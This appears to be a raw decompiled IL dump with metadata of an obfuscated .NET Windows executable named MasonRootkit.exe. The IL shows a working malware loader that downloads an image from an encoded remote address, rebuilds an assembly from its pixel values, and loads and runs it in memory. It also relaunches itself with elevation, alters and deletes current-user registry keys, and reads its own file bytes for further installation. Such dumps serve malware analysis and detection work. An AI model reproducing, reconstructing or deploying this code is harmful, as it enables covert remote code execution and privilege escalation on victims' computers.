MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String) nop <null> newobj System.Void System.Net.WebClient::.ctor() stloc.s V_5 ldloc.s V_5 ldstr 
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
� ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1338693632 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.IO.Stream System.Net.WebClient::OpenRead(System.String) newobj System.Void System.Drawing.Bitmap::.ctor(System.IO.Stream) stloc.s V_6 ldloc.s V_6 callvirt System.Int32 System.Drawing.Image::get_Width() newarr System.Byte stloc.s V_7 ldc.i4.0 <null> stloc.s V_8 br.s IL_02F1: ldloc.s V_8 ldloc.s V_7 ldloc.s V_8 ldloc.s V_6 ldloc.s V_8 ldc.i4.0 <null> callvirt System.Drawing.Color System.Drawing.Bitmap::GetPixel(System.Int32,System.Int32) stloc.s V_9 ldloca.s V_9 call System.Byte System.Drawing.Color::get_R() stelem.i1 <null> ldloc.s V_8 ldc.i4.1 <null> add <null> stloc.s V_8 ldloc.s V_8 ldloc.s V_6 callvirt System.Int32 System.Drawing.Image::get_Width() blt.s IL_02D3: ldloc.s V_7 call System.AppDomain System.AppDomain::get_CurrentDomain() ldloc.s V_7 callvirt System.Reflection.Assembly System.AppDomain::Load(System.Byte[]) callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint() ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> leave.s IL_0323: leave.s IL_0331 ldloc.s V_6 brfalse.s IL_0322: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0331: leave.s IL_0367 ldloc.s V_5 brfalse.s IL_0330: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0367: ret stloc.s V_10 ldstr 
煳
煄
煄
煙
煄
焖
煚
煙
煗
煒
煟
煘
煑
焖
煗
煘
煒
焖
煆
煄
煙
煕
煓
煅
煅
煟
煘
煑
焖
煂
煞
煓
焖
煔
煟
煂
煛
煗
煆
焌
焖 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1018065206 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) ldloc.s V_10 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) leave.s IL_0367: ret ret <null>
Module Name

MasonRootkit.exe
Full Name

MasonRootkit.exe
EntryPoint

System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Scope Name

MasonRootkit.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

MasonRootkit
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.8
Total Strings

188
Main Method

System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Main IL Instruction Count

248
Main IL

ldsfld System.IntPtr System.IntPtr::Zero stloc.0 <null> call System.Boolean System.Environment::get_Is64BitOperatingSystem() brfalse.s IL_0015: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldloca.s V_0 call System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.IntPtr&) pop <null> ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0021: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brtrue IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr 
蝽
蝡
蝨
蝺
蝹
蝯
蝼
蝫
蝲
蝊
蝇
蝊
蝇
蝜
蝛
蝀 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) call System.Int32 <Module>::⇎ↂႋ⇝↞⇁⇀↩⇕⇂ↇ∷ↇ൲↹↽↋∶⇎ↆ⇙∷ ↽⇞⇎⇕ↇ↢ↇ↋ↀ↣↋↹⇎↩⇟⇎↌⇟↺Ↄ↹↭⇎ↇ⇎⇟⇜⇟⇚⇚ↂ↹⇞⇂⇟ↁ↋⇇↠⇎⇜∷ႋ⇙⇟↭↞↞↣∷⇀⇟↌↖↭↖⇎⇞⇎⇎ↆ↺↌∷⇕⇚↖↺↣⇞⇙() ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String) stloc.1 <null> ldloc.1 <null> brtrue.s IL_0084: ldloc.1 ldstr 
쁵
쁴 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1716895771 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) stloc.2 <null> br.s IL_00AF: ldloc.2 ldloc.1 <null> ldstr 
톝
톐
톝
톐 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1030083065 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) castclass System.String stloc.2 <null> ldloc.2 <null> ldstr 
ꭖ
ꭊ
ꭜ ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 152021807 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_00E6: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String) ret <null> ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_014A: nop call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.3 <null> ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.3 <null> ldstr 
괝
괚
괁
괎
괜 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 308915567 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String) nop <null> ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ pop <null> leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldc.i4.0 <null> ceq <null> stloc.s V_4 ldloc.s V_4 brfalse.s IL_0129: nop nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr 
ჺ
ღ
ჯ
ჽ
ჾ
შ
჻
წ
ჵ
Ⴭ
Ⴠ
Ⴭ
Ⴠ
მ
ნ
Ⴧ ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 866259113 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String) leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ pop <null> leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_018E: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() br.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_01A0: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldc.i4.0 <null> call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse IL_028B: nop ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Byte[] System.IO.File::ReadAllBytes(System.String) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String) ret <null> ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_020B: nop ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_020B: nop call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess() callvirt System.Int32 System.Diagnostics.Process::get_Id() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Int32) call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String) call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_020B: nop call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr 
才
扑
托
扊
扉
扟
扌
扛
扂
扺
扷
扺
扷
扬
扫
扰 ldstr 
 ldstr call System.String System.String::Replace(System.String,System.String) ldc.i4 1051615774 ldc.i4.1 <null> call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean) callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String) leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ pop <null> leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_024F: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() br.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ() ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_0261: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ ldc.i4.0 <null> call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean) ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ brfalse.s IL_028B: nop ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Byte[] System.IO.File::ReadAllBytes(System.String) ldsfld System.Boolean 